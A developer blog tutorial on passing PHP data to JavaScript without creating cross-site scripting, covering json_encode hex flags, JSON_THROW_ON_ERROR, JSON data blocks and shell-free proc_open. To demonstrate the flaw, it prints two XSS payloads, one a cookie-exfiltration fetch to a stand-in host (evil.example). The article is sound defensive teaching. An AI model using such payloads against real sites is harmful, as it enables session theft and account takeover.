PHP

Pass PHP Data to JavaScript Without Creating XSS

Updated

A PHP page on a server hands data across a dashed boundary to a browser window: PHP cannot call JavaScript directly

PHP cannot call a JavaScript function. PHP finishes on the server, then the browser runs whatever JavaScript arrived in the response — so the real task is handing a value across that boundary. The one-line answer:

<script>var user = <?= json_encode($name, JSON_HEX_TAG|JSON_HEX_AMP|JSON_HEX_APOS|JSON_HEX_QUOT|JSON_THROW_ON_ERROR) ?>;</script>

Never echo "<script>var user = '$name';</script>". Here is what it does when $name comes from a query string:

$ php -r '$_GET["name"] = "\x27;fetch(\x27https://evil.example/?c=\x27+document.cookie);//"; include "bad.php";'
<script>var user = '';fetch('https://evil.example/?c='+document.cookie);//';</script>

$ php -r '$_GET["name"] = "</script><img src=x onerror=alert(1)>"; include "bad.php";'
<script>var user = '</script><img src=x onerror=alert(1)>';</script>

The first payload closes the string and appends a working cookie exfiltration. The second does not need to bother with the quotes at all — it closes the <script> element, because the HTML parser looks for </script> before JavaScript ever sees the text, and then injects an img tag whose onerror fires immediately. Same two payloads through the json_encode version:

<script>var user = "\u0027;fetch(\u0027https:\/\/evil.example\/?c=\u0027+document.cookie);\/\/";</script>
<script>var user = "\u003C\/script\u003E\u003Cimg src=x onerror=alert(1)\u003E";</script>

Both are inert, and both still carry the original value — the JavaScript engine decodes \u003C back to < inside the string, where it is data and not markup.

The PHP CLI alone is enough to reproduce both injections, the safe version’s output for each, and the JSON_UNESCAPED_SLASHES, malformed-UTF-8 and htmlspecialchars results further down: the verify script runs them against a scratch copy of the unsafe script, and its node-based checks report SKIP when node is missing.

Why those four flags and not bare json_encode

Bare json_encode($phpVariable), with no flags, is safer than interpolation but the protection is accidental. PHP escapes forward slashes by default, which is the only reason bare json_encode survives a </script> payload — and that reason evaporates the moment anyone adds the flag that turns it off:

$ php -r 'echo json_encode("</script>", JSON_UNESCAPED_SLASHES);'
"</script>"

A raw closing tag, straight into your script element. The four hex flags remove the dependency. PHP’s manual defines them exactly: JSON_HEX_TAG — “All < and > are converted to \u003C and \u003E”; JSON_HEX_AMP — “All & are converted to \u0026”; JSON_HEX_APOS — “All ‘ are converted to \u0027”; JSON_HEX_QUOT — “All ” are converted to \u0022″. That is the whole set of characters that can end a string, an attribute or an element. The HTML Standard recommends the same defence for anything embedding text in a script: “The easiest and safest way to avoid the rather strange restrictions described in this section is to always escape an ASCII case-insensitive match for ‘<!–‘ as ‘\x3C!–‘, ‘<script’ as ‘\x3Cscript’, and ‘</script’ as ‘\x3C/script’ when these sequences appear in literals in scripts.”

Add JSON_THROW_ON_ERROR or your page breaks silently

$ php -r '$v = json_encode("caf\xE9"); var_dump($v);'
bool(false)

json_encode returns false — not an empty string — on malformed UTF-8, and false echoes as nothing. The emitted markup is <script>var v = ;</script>, a syntax error that kills every script on the page. Any value that reached you from a legacy database, a file upload or a Latin-1 form can do this. JSON_THROW_ON_ERROR converts it into a catchable JsonException you can log and fall back from.

htmlspecialchars is the wrong escaper here

It is the reflex, and it does block the break-out — but it is an HTML escaper being used inside a JavaScript string literal, so it destroys the data:

$ php -r 'echo htmlspecialchars("O\x27Brien", ENT_QUOTES, "UTF-8");'
O&#039;Brien

$ node -e "var u = 'O&#039;Brien'; process.stdout.write(u);"
O&#039;Brien

A real JavaScript engine reads that as the literal string O&#039;Brien. Your user’s name is now visibly broken everywhere it is displayed. Escape for the context you are actually in.

Better: stop emitting inline script

<?php printf('<script id="cfg" type="application/json">%s</script>',
  json_encode($config, JSON_HEX_TAG|JSON_HEX_AMP|JSON_HEX_APOS|JSON_HEX_QUOT|JSON_THROW_ON_ERROR)); ?>
<script src="/app.js"></script>

// app.js
const cfg = JSON.parse(document.getElementById('cfg').textContent);

The browser does not execute a type="application/json" block, so there is no code path for injected content to reach. It also lets you serve a Content-Security-Policy without 'unsafe-inline', which the concatenation approach makes impossible.

The one case where PHP really does call JavaScript

Server-side, through a JavaScript engine you invoke yourself:

$d = proc_open(["node", "-e", $js], [0=>["pipe","r"], 1=>["pipe","w"], 2=>["pipe","w"]], $p);
fwrite($p[0], json_encode($input)); fclose($p[0]);
$result = stream_get_contents($p[1]);

That round trip returns 42 for an input of 6 and 7 in the verify script. Use the array form of proc_open, which execs directly with no shell in between; never build this with shell_exec or exec and string concatenation, and never let user input become part of $js — pass it on stdin as JSON, as above. It costs a process per call, so it belongs in a queued job, not a request handler.

The other direction, and escaping in HTML context

  • AJAX with Laravel — the other direction, where the browser asks the server for JSON instead of the server pre-baking it into the page.
  • Laravel flash messages — the same escaping question in HTML context, where {!! !!} turns a status banner into stored XSS.
Photo of author
Sudhir P. founded HeatWare.com in 1999 and has built and operated it full-stack ever since; it is now used by more than 88,000 people. He writes here about the PostgreSQL, MySQL, Linux and DevOps work that keeps it running. Articles are rewritten only after the commands in them have actually been run, and the verification scripts are published alongside them so anyone can check the claims. Reach him at blog@heatware.net.